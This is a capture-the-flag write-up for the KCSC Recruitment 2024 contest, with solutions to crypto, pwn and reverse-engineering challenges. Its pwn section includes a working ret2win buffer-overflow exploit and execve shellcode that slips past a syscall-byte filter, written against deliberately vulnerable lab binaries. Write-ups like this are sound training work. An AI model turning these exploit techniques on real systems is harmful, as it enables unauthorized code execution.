---
# System prepended metadata

title: KCSC Recruitment 2024
tags: [KCSC Recruitment]

---

# KCSC Recruitment 2024

## I. Crypto
### 1. Base64
- Challenge: 
```python=
b64 = {
    "000000": "/",
    "000001": "+",
    "000010": "0",
    "000011": "1",
    "000100": "2",
    "000101": "3",
    "000110": "4",
    "000111": "5",
    "001000": "6",
    "001001": "7",
    "001010": "8",
    "001011": "9",
    "001100": "a",
    "001101": "b",
    "001110": "c",
    "001111": "d",
    "010000": "e",
    "010001": "f",
    "010010": "g",
    "010011": "h",
    "010100": "i",
    "010101": "j",
    "010110": "k",
    "010111": "l",
    "011000": "m",
    "011001": "n",
    "011010": "o",
    "011011": "p",
    "011100": "q",
    "011101": "r",
    "011110": "s",
    "011111": "t",
    "100000": "u",
    "100001": "v",
    "100010": "w",
    "100011": "x",
    "100100": "y",
    "100101": "z",
    "100110": "A",
    "100111": "B",
    "101000": "C",
    "101001": "D",
    "101010": "E",
    "101011": "F",
    "101100": "G",
    "101101": "H",
    "101110": "I",
    "101111": "J",
    "110000": "K",
    "110001": "L",
    "110010": "M",
    "110011": "N",
    "110100": "O",
    "110101": "P",
    "110110": "Q",
    "110111": "R",
    "111000": "S",
    "111001": "T",
    "111010": "U",
    "111011": "V",
    "111100": "W",
    "111101": "X",
    "111110": "Y",
    "111111": "Z",
}


def encode(string):
    s = ""
    for i in string:
        s += bin(ord(i))[2:].zfill(8)
    
    pad = ""
    if len(s) % 6 == 4:
        pad = "="
        s += "11"
    elif len(s) % 6 == 2:
        pad = "=="
        s += "1111"
    
    ret = ""
    for i in range(0,len(s),6):
        ret += b64[s[i:i+6]]
    return ret+pad

from secret import FLAG
print(encode(FLAG))
# gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR=
```
We got a script that use to encrypt flag depends on its length and table ```b64``` . For details:
- First, it converts each char of the flag into 8-bit binary (string ```s```)
- It checks the remainder of ```len(s)``` and 6. Depends on the remainder, the padding ```pad``` and string that added more in the end can change.
- Finally, for each 6-bit block, it uses table ```b64``` to convert those blocks into characters then add the ```pad``` in the end

This is an easy challenge. I just need to reverse the process to get the flag. My solution: 
```python=
b64 = {
    "000000": "/",
    "000001": "+",
    "000010": "0",
    "000011": "1",
    "000100": "2",
    "000101": "3",
    "000110": "4",
    "000111": "5",
    "001000": "6",
    "001001": "7",
    "001010": "8",
    "001011": "9",
    "001100": "a",
    "001101": "b",
    "001110": "c",
    "001111": "d",
    "010000": "e",
    "010001": "f",
    "010010": "g",
    "010011": "h",
    "010100": "i",
    "010101": "j",
    "010110": "k",
    "010111": "l",
    "011000": "m",
    "011001": "n",
    "011010": "o",
    "011011": "p",
    "011100": "q",
    "011101": "r",
    "011110": "s",
    "011111": "t",
    "100000": "u",
    "100001": "v",
    "100010": "w",
    "100011": "x",
    "100100": "y",
    "100101": "z",
    "100110": "A",
    "100111": "B",
    "101000": "C",
    "101001": "D",
    "101010": "E",
    "101011": "F",
    "101100": "G",
    "101101": "H",
    "101110": "I",
    "101111": "J",
    "110000": "K",
    "110001": "L",
    "110010": "M",
    "110011": "N",
    "110100": "O",
    "110101": "P",
    "110110": "Q",
    "110111": "R",
    "111000": "S",
    "111001": "T",
    "111010": "U",
    "111011": "V",
    "111100": "W",
    "111101": "X",
    "111110": "Y",
    "111111": "Z",
}

def decode(str):
    pass
s = 'gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR='
ret = ''
for i in range(0, len(s) - 1):
    for k in b64:
        if b64[k] == s[i]:
            ret += k
c = '010010110100001101010011010000110111101101101110011011110011000001100010010111110110001001100001011100110110010100110110001101000101111101100101011011100110001101101111011001000110010100100001001000010111110111'
ret = c[:len(c) - 2]
flag = ''
for i in range(0, len(ret), 8):
    flag += chr(int(ret[i:i+8], 2))
print(flag) 
```

Explain: 
- Convert the given string ```s``` into binary string by using ```b64``` table (not include the last character ```pad = '='```)
- We know tht ```pad = '='``` so the last string that added more is ```11```. I removed it and saved in ```ret``` 
- Now I just need to convert each 8-bit block into character so I can get the flag.
 **Flag: ```KCSC{no0b_base64_encode!!}```**

### 2. BabyRSA

Challenge: 
```python=
from Crypto.Util.number import *
from secret import flag 


# Params
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512) 
n = p*q
e1 , e2 = getPrime(15) , getPrime(15)

# Encrypt 
c1 , c2 = pow(m,e1,n) , pow(m,e2,n)

#Print
print(f'{c1 = }')
print(f'{c2 = }')
print(f'{n = }')

"""
c1 = 43946260278933165267431660993044179256450733940962448204621518943475853900082006280519072025814200897790997592340463936456190958275666594052429995580298318496180813719454334563715414909165832843522756119935976461092478885641955852178168496150011655624379719912171071289603245412892961948366155515278642890726
c2 = 128310176397306858891446325231403610621098642187330349239489878341148171560057825931212023839177308332325958639449594866005405570172437515529356365161126570201717589561767400076906280689289461272183010707070634476880143832792975654032711035308135704921921241852756875248875673992949337763386726353743428471285
n = 136973822933716552336015210410086061910624054358619578509115117334628335462050100007125608207863413129800784125730025310219736602623178611290649570777043217574184550605465181131198300470624226421519634791007102521649222963071618444042047066059200007171516431004284842846905028782392942642458999153116596453733 
""" 
```

This is RSA encryption that one message sent to 2 people. For details:
- The message ```m``` is sents to A and B, which keeps the public key ```(e1, n)``` and ```(e2, n)```
- They encrypt message and receive ```c1 ≡ m^e1 mod n``` and ```c2 ≡ m^e2 mod n```

To solve this problem, I found [this](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem)
First, we **must** know ```e1``` and ```e2```. Then by using extended Euclide Algorithm, we have 
```a*e1 + b*e2 = gcd(e1, e2) = 1```
for some ```a, b```. After calculate ```a, b```, we can easily find ```m``` because:
```(c1)^a * (c2)^b ≡ (m^e1)^a * (m^e2)^b ≡ m^(e1*a + e2*b) ≡ m (mod n)```

But they only give us ```c1, c2, n```. I brute-force to find ```e1``` and ```e2``` because they are only 15-bit primes so I think it won't take long.

My solution: 
```python=
from Crypto.Util.number import *
from egcd import egcd
def decode_safe(bytes_input):
    try:
        return bytes_input.decode('utf-8')
    except UnicodeDecodeError:
        return None

c1 = 43946260278933165267431660993044179256450733940962448204621518943475853900082006280519072025814200897790997592340463936456190958275666594052429995580298318496180813719454334563715414909165832843522756119935976461092478885641955852178168496150011655624379719912171071289603245412892961948366155515278642890726
c2 = 128310176397306858891446325231403610621098642187330349239489878341148171560057825931212023839177308332325958639449594866005405570172437515529356365161126570201717589561767400076906280689289461272183010707070634476880143832792975654032711035308135704921921241852756875248875673992949337763386726353743428471285
n = 136973822933716552336015210410086061910624054358619578509115117334628335462050100007125608207863413129800784125730025310219736602623178611290649570777043217574184550605465181131198300470624226421519634791007102521649222963071618444042047066059200007171516431004284842846905028782392942642458999153116596453733 
while(1):
        e1, e2 = getPrime(15) , getPrime(15)
        gcd , a, b = egcd(e1, e2)
        if a < 0:
                i = pow(c1, -1, n)
                m = (pow(i, -a, n)*pow(c2, b, n))%n
        elif b < 0:
                i = pow(c2, -1, n)
                m = (pow(i, -b, n)*pow(c1, a, n))%n 
        flag_str = decode_safe(long_to_bytes(m))
        if flag_str is None:
                continue
        else:
                print(flag_str)
                break

```

Because I used ```egcd``` library so it is possible that I will get ```a``` or ```b``` that was negative. When that happend, I need to calculate inverse of ```c1``` or ```c2``` mod n then use it instead of ```c1``` and ```c2```

**Flag: ```KCSC{3x73rn4l_4774ck_1n_r54}```**

### 3. Equation
Challenge: 
```python=
from Crypto.Util.number import *
from secret import flag

def encrypt(key,m,p) :
    
    x = pow(key[0],key[1]*key[3])*m[0] + pow(key[1],key[0])*m[1] + key[3]*pow(key[0],key[2])
    y = pow(key[2],7)*m[0] - key[3]*m[1] - pow(key[1],key[2]) + pow(key[1],key[3])
   
    return x % p , y % p 


l = len(flag)
m = [bytes_to_long(flag[:l//2]) , bytes_to_long(flag[l//2:])]
key = [getPrime(512) for _ in range(4)]
p = getPrime(513)

assert m[0] < p and m[1] < p

print(f'{p = }')
print(f'{key = }')
print(f'enc = {encrypt(key,m,p)}')

"""
p = 20750581162356901822371358081190571328015802896649862988773357210365403451164295986427869541008180700500353488943618054413871626104729648400643237412907397
key = [10615429627321757928177738179133185296570017221477669072758978616664228021845901597204223511408890540624134699383980095897619794674624492632667368475358259, 8098501561956901533078786276609230622379951738654895152558539730068867983865132393839072902654774417952229287146962827464998772217889942772581719194190131, 9269375490983296814341239266604470459081391713689916499923163097001047076919399181791596915795736751249702479913935198254324261729115107153324477349756427, 12874926087069061223584117322772472091608363055078190028227481439885266810498837550235424358641464176775190647579561772510312989190222563737455288997494613]        
enc = (5309143145537110495610885061155974900644691542339737247048051865028676282189484534760797421532227725431411920294833901798304659011582328440228296618492754, 12319093933825845906195612210823362436789866252839892395323597642449461144960813359448423496536622280247713676669361185330767001694340173433507185981408484)
"""   
```

This is 2 variables equation solving problem. We need to calculate ```m[0]``` and ```m[1]``` through 2 equations in the ```enc()``` function.

I just need to simplify the coefficient of equations by using:
```
(a + b) mod n ≡ ((a mod n) + (b mod n)) mod n
(a * b) mod n ≡ ((a mod n) * (b mod n)) mod n
```

For easier calculation, I will use variables ```A, B, C, D, E, F, G ``` instead of complicated coefficients
My solution: 
```python=
from Crypto.Util.number import *


p = 20750581162356901822371358081190571328015802896649862988773357210365403451164295986427869541008180700500353488943618054413871626104729648400643237412907397
key = [10615429627321757928177738179133185296570017221477669072758978616664228021845901597204223511408890540624134699383980095897619794674624492632667368475358259, 8098501561956901533078786276609230622379951738654895152558539730068867983865132393839072902654774417952229287146962827464998772217889942772581719194190131, 9269375490983296814341239266604470459081391713689916499923163097001047076919399181791596915795736751249702479913935198254324261729115107153324477349756427, 12874926087069061223584117322772472091608363055078190028227481439885266810498837550235424358641464176775190647579561772510312989190222563737455288997494613]        
enc = (5309143145537110495610885061155974900644691542339737247048051865028676282189484534760797421532227725431411920294833901798304659011582328440228296618492754, 12319093933825845906195612210823362436789866252839892395323597642449461144960813359448423496536622280247713676669361185330767001694340173433507185981408484)

x_p, y_p = enc[0], enc[1]

a = pow(key[0],key[1],p)
A = pow(a, key[3], p)
B = pow(key[1], key[0], p)
c = pow(key[0], key[2], p)
C = (key[3]*c)% p
D = pow(key[2], 7, p)
E = -key[3]
F = -pow(key[1], key[2], p)
G = pow(key[1], key[3], p)
#print(f"{A} * m0 + {B}*m1 + {C} = {x_p}")
#print(f"{D}*m0 + {E}*m1 - {F} + {G} = {y_p}")
F1 = (F + G) % p
x1 = (x_p - C)%p
y1 = (y_p - F1)%p

s = GCD(A, D)
lcm = (A*D) // s
multi0 = (lcm//A)%p
multi1 = (lcm//D)%p
B1 = (B*multi0)%p
E1 = (E*multi1)%p
heSo_m1 = (B1 - E1)%p
heso_m1_inv = pow(heSo_m1, -1, p)
r1 = ((x1*multi0)%p - (y1*multi1)%p)%p
m1 = (r1 * heso_m1_inv)% p
m0 = (((x1 - (B*m1)%p)%p) * pow(A, -1, p))%p
print(long_to_bytes(m0).decode('utf-8') + long_to_bytes(m1).decode('utf-8')) 
```
This challenge is not hard. Just remember to modulo ```p``` before each calculation

**Flag: ```KCSC{b4by_3qu4710n_l34rn1n6}```**

## II. Pwn
### 1. basic_bof
Challenge: 
```c 
#include<stdio.h>
#include<stdlib.h>

void init(){
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
}

void win(){
    system("/bin/sh");
}
int main()
{
    init();
    char a[0x100];
    gets(a);
} 
```

We have been given the source code and file binary. There is a buffer overflow vuln here, in ```gets(a)```, because a limited with ```0x100``` bytes. Our target is executing```win()``` function
Now I debug it and try to input to see how it overflows. I set a breakpoint before return function: 
![image](https://hackmd.io/_uploads/ByukKNz0R.png)
![image](https://hackmd.io/_uploads/ByXZFEfAA.png)

The address ```0x00007fffffffe128``` is our return address. So this is a ```ret2win``` vuln.
Instead of pointing to return address, we make the ```rsp``` points to our ```win()``` address then it will give us the shell. 
Let's see how far from ```$rsp``` to our input:

![image](https://hackmd.io/_uploads/HywiqNfA0.png)

It's 264 bytes. The next bytes of the payload will be our ```win()``` address. Let's find where it is.
![image](https://hackmd.io/_uploads/H1OJsNzCA.png)

The address is ```0x4011db```. Now we have everything we need. I wrote a simple script to exploit:
```python=
from pwn import *
#p = remote('157.15.86.73', 8005)
p = process('./chal1')
payload = b'A'*264
payload += p64(0x4011db + 5)
p.sendline(payload)
p.interactive()
```

Why I need to plus 5 t the address ```win()```? Because if we only use the ```0x4011db```, an error will occur:
![image](https://hackmd.io/_uploads/Hkhpi4fAA.png)
So this occur because the address ```rsp``` points to must be divisible to 16, but ```0x4011db``` is not
![image](https://hackmd.io/_uploads/ryBmhNGA0.png)

Plus 5 and run again, now we finally get the shell. Just cat the file ```flag.txt``` to get the flag
![image](https://hackmd.io/_uploads/Bk_v2VGCA.png)

**Flag: ```KCSC{FIRST_GAME_WAS EASY_HUH?}```**

### 2. pwn2
Challenge let us to execute shellcode:
```c!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>

void init(){
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
}

int main()
{
    init();
    void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (code == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }
    fgets((char*)code, 0x1000, stdin);
    size_t len = strlen((char*)code);
    for(int i = 0 ; i < len; i++)
    {
        if(((uint16_t*)code)[i] == 0x0f05)
        {
            exit(0);
        }
    }
    code();
}
```
Script: 
```python!
#!/usr/bin/env python3

from pwn import *

exe = ELF("./shellcode")

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 13775)

    return r


context.binary = exe
def main():
    r = conn()
    shellcode = asm(
        '''
        mov rax, 0x3b
        mov rdi, 29400045130965551
        push rdi
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx

        syscall
        ''', arch='amd64'
        )
    r.sendline(shellcode)
    pause()
    r.interactive()

if __name__ == "__main__":
    main()

```
Result: 
![image](https://hackmd.io/_uploads/B1mXhgBmyx.png)
Flag: `KCSC{easy_shellcode......}`

## III. Reverse Engineering
### 1. Elif
Challenge: 
```python=
flag = input('Enter your flag: ')
if len(flag) != 49:
    print('Wrong Length!!!')
    exit()
inp = [ord(c) for c in flag]
if inp[30] + inp[44] + inp[16] + inp[38] + inp[47] + inp[7] != 398:
    print('Wrong Flag!!!')
    exit()
elif inp[41] + inp[22] + inp[38] + inp[33] + inp[28] + inp[20] != 451:
    print('Wrong Flag!!!')
    exit()
elif inp[10] + inp[3] + inp[39] + inp[14] + inp[4] + inp[47] != 440:
    print('Wrong Flag!!!')
    exit()
elif inp[2] + inp[12] + inp[45] + inp[4] + inp[42] + inp[30] != 581:
    print('Wrong Flag!!!')
    exit()
elif inp[36] + inp[36] + inp[26] + inp[43] + inp[21] + inp[1] != 587:
    print('Wrong Flag!!!')
    exit()
elif inp[16] + inp[3] + inp[16] + inp[20] + inp[38] + inp[39] != 274:
    print('Wrong Flag!!!')
    exit()
elif inp[28] + inp[39] + inp[18] + inp[38] + inp[47] + inp[8] != 372:
    print('Wrong Flag!!!')
    exit()
elif inp[25] + inp[19] + inp[36] + inp[19] + inp[20] + inp[31] != 470:
    print('Wrong Flag!!!')
    exit()
elif inp[44] + inp[27] + inp[5] + inp[41] + inp[16] + inp[42] != 565:
    print('Wrong Flag!!!')
    exit()
elif inp[46] + inp[35] + inp[8] + inp[1] + inp[4] + inp[47] != 447:
    print('Wrong Flag!!!')
    exit()
elif inp[41] + inp[20] + inp[42] + inp[40] + inp[3] + inp[43] != 503:
    print('Wrong Flag!!!')
    exit()
elif inp[36] + inp[4] + inp[21] + inp[46] + inp[34] + inp[38] != 532:
    print('Wrong Flag!!!')
    exit()
elif inp[43] + inp[45] + inp[3] + inp[45] + inp[3] + inp[17] != 382:
    print('Wrong Flag!!!')
    exit()
elif inp[24] + inp[2] + inp[6] + inp[2] + inp[25] + inp[1] != 490:
    print('Wrong Flag!!!')
    exit()
elif inp[38] + inp[41] + inp[33] + inp[34] + inp[21] + inp[42] != 569:
    print('Wrong Flag!!!')
    exit()
elif inp[17] + inp[38] + inp[1] + inp[15] + inp[46] + inp[35] != 364:
    print('Wrong Flag!!!')
    exit()
elif inp[40] + inp[17] + inp[34] + inp[33] + inp[39] + inp[19] != 398:
    print('Wrong Flag!!!')
    exit()
elif inp[18] + inp[21] + inp[4] + inp[27] + inp[19] + inp[29] != 541:
    print('Wrong Flag!!!')
    exit()
elif inp[30] + inp[34] + inp[42] + inp[26] + inp[18] + inp[47] != 588:
    print('Wrong Flag!!!')
    exit()
elif inp[23] + inp[24] + inp[30] + inp[1] + inp[13] + inp[7] != 471:
    print('Wrong Flag!!!')
    exit()
elif inp[17] + inp[16] + inp[32] + inp[16] + inp[15] + inp[14] != 343:
    print('Wrong Flag!!!')
    exit()
elif inp[30] + inp[10] + inp[24] + inp[3] + inp[40] + inp[3] != 519:
    print('Wrong Flag!!!')
    exit()
elif inp[10] + inp[34] + inp[27] + inp[38] + inp[46] + inp[40] != 480:
    print('Wrong Flag!!!')
    exit()
elif inp[6] + inp[6] + inp[46] + inp[35] + inp[5] + inp[13] != 357:
    print('Wrong Flag!!!')
    exit()
elif inp[18] + inp[16] + inp[5] + inp[6] + inp[12] + inp[32] != 411:
    print('Wrong Flag!!!')
    exit()
elif inp[1] + inp[3] + inp[37] + inp[4] + inp[22] + inp[44] != 514:
    print('Wrong Flag!!!')
    exit()
elif inp[26] + inp[11] + inp[12] + inp[47] + inp[22] + inp[2] != 541:
    print('Wrong Flag!!!')
    exit()
elif inp[32] + inp[32] + inp[18] + inp[34] + inp[31] + inp[37] != 454:
    print('Wrong Flag!!!')
    exit()
elif inp[38] + inp[25] + inp[1] + inp[23] + inp[28] + inp[27] != 403:
    print('Wrong Flag!!!')
    exit()
elif inp[37] + inp[11] + inp[2] + inp[24] + inp[39] + inp[21] != 457:
    print('Wrong Flag!!!')
    exit()
elif inp[21] + inp[4] + inp[3] + inp[11] + inp[42] + inp[2] != 588:
    print('Wrong Flag!!!')
    exit()
elif inp[11] + inp[36] + inp[27] + inp[1] + inp[18] + inp[19] != 549:
    print('Wrong Flag!!!')
    exit()
elif inp[16] + inp[18] + inp[37] + inp[41] + inp[25] + inp[45] != 446:
    print('Wrong Flag!!!')
    exit()
elif inp[19] + inp[19] + inp[18] + inp[8] + inp[25] + inp[14] != 453:
    print('Wrong Flag!!!')
    exit()
elif inp[19] + inp[2] + inp[40] + inp[34] + inp[27] + inp[5] != 461:
    print('Wrong Flag!!!')
    exit()
elif inp[48] + inp[41] + inp[33] + inp[41] + inp[23] + inp[37] != 533:
    print('Wrong Flag!!!')
    exit()
elif inp[45] + inp[9] + inp[8] + inp[32] + inp[4] + inp[26] != 531:
    print('Wrong Flag!!!')
    exit()
elif inp[47] + inp[27] + inp[2] + inp[32] + inp[3] + inp[38] != 393:
    print('Wrong Flag!!!')
    exit()
elif inp[32] + inp[27] + inp[2] + inp[34] + inp[27] + inp[14] != 506:
    print('Wrong Flag!!!')
    exit()
elif inp[24] + inp[14] + inp[39] + inp[20] + inp[3] + inp[17] != 365:
    print('Wrong Flag!!!')
    exit()
elif inp[10] + inp[17] + inp[43] + inp[28] + inp[48] + inp[48] != 565:
    print('Wrong Flag!!!')
    exit()
elif inp[35] + inp[47] + inp[27] + inp[42] + inp[35] + inp[37] != 415:
    print('Wrong Flag!!!')
    exit()
elif inp[10] + inp[37] + inp[37] + inp[44] + inp[21] + inp[15] != 502:
    print('Wrong Flag!!!')
    exit()
elif inp[9] + inp[44] + inp[9] + inp[48] + inp[38] + inp[15] != 600:
    print('Wrong Flag!!!')
    exit()
elif inp[16] + inp[47] + inp[12] + inp[27] + inp[39] + inp[16] != 386:
    print('Wrong Flag!!!')
    exit()
elif inp[2] + inp[37] + inp[32] + inp[41] + inp[9] + inp[13] != 485:
    print('Wrong Flag!!!')
    exit()
elif inp[25] + inp[18] + inp[25] + inp[41] + inp[40] + inp[11] != 566:
    print('Wrong Flag!!!')
    exit()
elif inp[36] + inp[37] + inp[4] + inp[12] + inp[35] + inp[42] != 546:
    print('Wrong Flag!!!')
    exit()
elif inp[45] + inp[32] + inp[12] + inp[19] + inp[16] + inp[3] != 371:
    print('Wrong Flag!!!')
    exit()
print('Correct!!! Here is your flag: ' + flag)
```
The challenge will be solve if we can create a flag that pass all the checkers. After researching, I found a [writeup](https://ctftime.org/writeup/32366) that seems similar to our challenge using ```z3-solver``` library. Modify it and run then I got the flag. Remember, our flag start with ```picoCTF{``` and ends with ```}``` so we know the value of ```inp``` in some first indexes. Script:
```python=
from z3 import *

inp = []
for i in range(49):
    byte = BitVec(f"{i}", 8)
    inp.append(byte)

solver = Solver()

solver.add( inp[30] + inp[44] + inp[16] + inp[38] + inp[47] + inp[7] == 398)
solver.add(inp[41] + inp[22] + inp[38] + inp[33] + inp[28] + inp[20] == 451)
solver.add(inp[10] + inp[3] + inp[39] + inp[14] + inp[4] + inp[47] == 440)
solver.add(inp[2] + inp[12] + inp[45] + inp[4] + inp[42] + inp[30] == 581)
solver.add(inp[36] + inp[36] + inp[26] + inp[43] + inp[21] + inp[1] == 587)
solver.add(inp[16] + inp[3] + inp[16] + inp[20] + inp[38] + inp[39] == 274)
solver.add(inp[28] + inp[39] + inp[18] + inp[38] + inp[47] + inp[8] == 372)
solver.add(inp[25] + inp[19] + inp[36] + inp[19] + inp[20] + inp[31] == 470)
solver.add(inp[44] + inp[27] + inp[5] + inp[41] + inp[16] + inp[42] == 565)
solver.add(inp[46] + inp[35] + inp[8] + inp[1] + inp[4] + inp[47] == 447)
solver.add(inp[41] + inp[20] + inp[42] + inp[40] + inp[3] + inp[43] == 503)
solver.add(inp[36] + inp[4] + inp[21] + inp[46] + inp[34] + inp[38] == 532)
solver.add(inp[43] + inp[45] + inp[3] + inp[45] + inp[3] + inp[17] == 382)
solver.add(inp[24] + inp[2] + inp[6] + inp[2] + inp[25] + inp[1] == 490)
solver.add(inp[38] + inp[41] + inp[33] + inp[34] + inp[21] + inp[42] == 569)
solver.add(inp[17] + inp[38] + inp[1] + inp[15] + inp[46] + inp[35] == 364)
solver.add(inp[40] + inp[17] + inp[34] + inp[33] + inp[39] + inp[19] == 398)
solver.add(inp[18] + inp[21] + inp[4] + inp[27] + inp[19] + inp[29] == 541)
solver.add(inp[30] + inp[34] + inp[42] + inp[26] + inp[18] + inp[47] == 588)
solver.add(inp[23] + inp[24] + inp[30] + inp[1] + inp[13] + inp[7] == 471)
solver.add(inp[17] + inp[16] + inp[32] + inp[16] + inp[15] + inp[14] == 343)
solver.add(inp[30] + inp[10] + inp[24] + inp[3] + inp[40] + inp[3] == 519)
solver.add(inp[10] + inp[34] + inp[27] + inp[38] + inp[46] + inp[40] == 480)
solver.add(inp[6] + inp[6] + inp[46] + inp[35] + inp[5] + inp[13] == 357)
solver.add(inp[18] + inp[16] + inp[5] + inp[6] + inp[12] + inp[32] == 411)
solver.add( inp[1] + inp[3] + inp[37] + inp[4] + inp[22] + inp[44] == 514)
solver.add( inp[26] + inp[11] + inp[12] + inp[47] + inp[22] + inp[2] == 541)
solver.add(inp[32] + inp[32] + inp[18] + inp[34] + inp[31] + inp[37] == 454)
solver.add(  inp[38] + inp[25] + inp[1] + inp[23] + inp[28] + inp[27] == 403)
solver.add(inp[37] + inp[11] + inp[2] + inp[24] + inp[39] + inp[21] == 457)
solver.add(inp[21] + inp[4] + inp[3] + inp[11] + inp[42] + inp[2] == 588)
solver.add(inp[11] + inp[36] + inp[27] + inp[1] + inp[18] + inp[19] == 549)
solver.add( inp[16] + inp[18] + inp[37] + inp[41] + inp[25] + inp[45] == 446)
solver.add( inp[19] + inp[19] + inp[18] + inp[8] + inp[25] + inp[14] == 453)
solver.add( inp[19] + inp[2] + inp[40] + inp[34] + inp[27] + inp[5] == 461)
solver.add( inp[48] + inp[41] + inp[33] + inp[41] + inp[23] + inp[37] == 533)
solver.add( inp[45] + inp[9] + inp[8] + inp[32] + inp[4] + inp[26] == 531)
solver.add( inp[47] + inp[27] + inp[2] + inp[32] + inp[3] + inp[38] == 393)
solver.add( inp[32] + inp[27] + inp[2] + inp[34] + inp[27] + inp[14] == 506)
solver.add(inp[24] + inp[14] + inp[39] + inp[20] + inp[3] + inp[17] == 365)
solver.add( inp[10] + inp[17] + inp[43] + inp[28] + inp[48] + inp[48] == 565)
solver.add( inp[35] + inp[47] + inp[27] + inp[42] + inp[35] + inp[37] == 415)
solver.add( inp[10] + inp[37] + inp[37] + inp[44] + inp[21] + inp[15] == 502)
solver.add( inp[9] + inp[44] + inp[9] + inp[48] + inp[38] + inp[15] == 600)
solver.add( inp[16] + inp[47] + inp[12] + inp[27] + inp[39] + inp[16] == 386)
solver.add(inp[2] + inp[37] + inp[32] + inp[41] + inp[9] + inp[13] == 485)
solver.add( inp[25] + inp[18] + inp[25] + inp[41] + inp[40] + inp[11] == 566)
solver.add( inp[36] + inp[37] + inp[4] + inp[12] + inp[35] + inp[42] == 546)
solver.add(inp[45] + inp[32] + inp[12] + inp[19] + inp[16] + inp[3] == 371)
solver.add(inp[0] == ord('K'))
solver.add(inp[1] == ord('C'))
solver.add(inp[2] == ord('S'))
solver.add(inp[3] == ord('C'))
solver.add(inp[4] == ord('{'))
solver.add(inp[48] == ord('}'))
# solver.add( s[16] - s[19] * s[7] == -5295 )
# solver.add( s[33] + s[12] * s[26] + s[22] == 2728 )
# solver.add( s[41] + s[24] + s[32] == 281 )
# solver.add( s[23] * s[31] * s[14] == 790020 )
# solver.add( s[35] - s[35] * s[6] - s[14] == -3342 )
# solver.add( s[31] + s[40] - s[17] * s[25] == -11148 )
# solver.add( s[36] * s[18] + s[13] * s[19] == 16364 )
# solver.add( s[40] - s[5] + s[2] * s[18] == 4407 )
# solver.add( s[21] - s[25] + s[3] == 55 )
# solver.add( s[14] + s[14] + s[13] - s[2] == 223 )
# solver.add( s[36] * s[35] - s[5] * s[29] == -2449 )
# solver.add( s[41] - s[39] + s[1] == 135 )
# solver.add( s[35] - s[0] * s[35] + s[0] == -4759 )
# solver.add( s[8] - s[10] * s[21] - s[31] == -4776 )
# solver.add( s[29] - s[24] + s[28] == 126 )
# solver.add( s[0] * s[10] - s[32] - s[8] == 3315 )
# solver.add( s[28] * s[32] + s[41] == 5903 )
# solver.add( s[37] - s[24] + s[32] == 20 )
# solver.add( s[20] * s[10] - s[15] + s[31] == 4688 )
# solver.add( s[36] - s[9] - s[18] * s[18] == -2721 )
# solver.add( s[9] * s[7] + s[16] * s[30] == 13876 )
# solver.add( s[18] + s[34] + s[24] - s[7] == 188 )
# solver.add( s[16] * s[27] + s[20] == 9310 )
# solver.add( s[22] - s[30] - s[37] - s[9] == -211 )
# solver.add( s[4] * s[41] * s[27] - s[38] == 1491286 )
# solver.add( s[35] - s[29] * s[8] + s[13] == -13131 )
# solver.add( s[23] - s[7] - s[24] - s[22] == -107 )
# solver.add( s[37] * s[4] * s[5] == 560388 )
# solver.add( s[17] * s[32] - s[15] == 5295 )
# solver.add( s[32] + s[23] * s[18] - s[5] == 4927 )
# solver.add( s[3] + s[8] * s[39] + s[39] == 7397 )
# solver.add( s[7] * s[25] - s[3] + s[36] == 5597 )
# solver.add( s[9] - s[24] - s[33] == -79 )
# solver.add( s[30] + s[14] * s[36] == 8213 )


if solver.check() == sat:
    solution = solver.model()
    flag = []
    for i in range(49):
        flag.append(chr(int(str(solution[inp[i]]))))
    print("".join(flag))
else:
    print("not found")
```

**Flag: ```KCSC{700_much_1f-3l53_f0r_fl46ch3ck3r!!!7ry_z3<3}```**

### 2. Go
Challenge: We got a ```.exe``` file. So first let's assemble it with IDA
```c=
  v17 = p_string;
  if ( p_string->len != 51 )
  {
    v73[0] = &RTYPE_string;
    v73[1] = &off_4DBC00;
    v8 = os_Stdout;
    fmt_Fprintln(
      (unsigned int)go_itab__os_File_io_Writer,
      os_Stdout,
      (unsigned int)v73,
      1,
      1,
      (unsigned int)&off_4DBC00,
      v14,
      (_DWORD)v15,
      v16,
      v52,
      v58,
      v61,
      v63,
      v65);
    os_Exit(1, v8, v18, 1, 1, v19, v20, v21, v22, v53);
    v17 = p_string;
  }
  for ( i = 0LL; i < 51; i = v14 + 1 )
  {
    ptr = v17->ptr;
    if ( i >= v17->len )
      runtime_panicIndex(i, v8, v17->len, 1LL, 1LL, ptr);
    v25 = (unsigned __int8)ptr[i];
    v14 = i;
    v26 = i - (i & 0xFFFFFFFFFFFFFFE0LL);
    if ( v26 >= 0x20 )
      runtime_panicIndex(v26, v8, 32LL, 1LL, 1LL, v26);
    v15 = "YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M=";
    v27 = (unsigned __int8)aYxv0ag9ybm9vym[v26] ^ v25;
    v13 = *(_QWORD *)&v69[8 * i - 8];
    if ( v13 != v27 )
    {
      v67 = i;
      v72[0] = &RTYPE_string;
      v72[1] = &off_4DBC10;
      v8 = os_Stdout;
      fmt_Fprintln(
        (unsigned int)go_itab__os_File_io_Writer,
        os_Stdout,
        (unsigned int)v72,
        1,
        1,
        (unsigned int)&off_4DBC10,
        i,
        (unsigned int)"YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M=",
        v16,
        v52,
        v58,
        v61,
        v63,
        v65);
      os_Exit(1, v8, v28, 1, 1, v29, v30, v31, v32, v54);
      v17 = p_string;
      v14 = v67;
    }
  }
  v71 = v3;
  v33 = v17->ptr;
  len = v17->len;
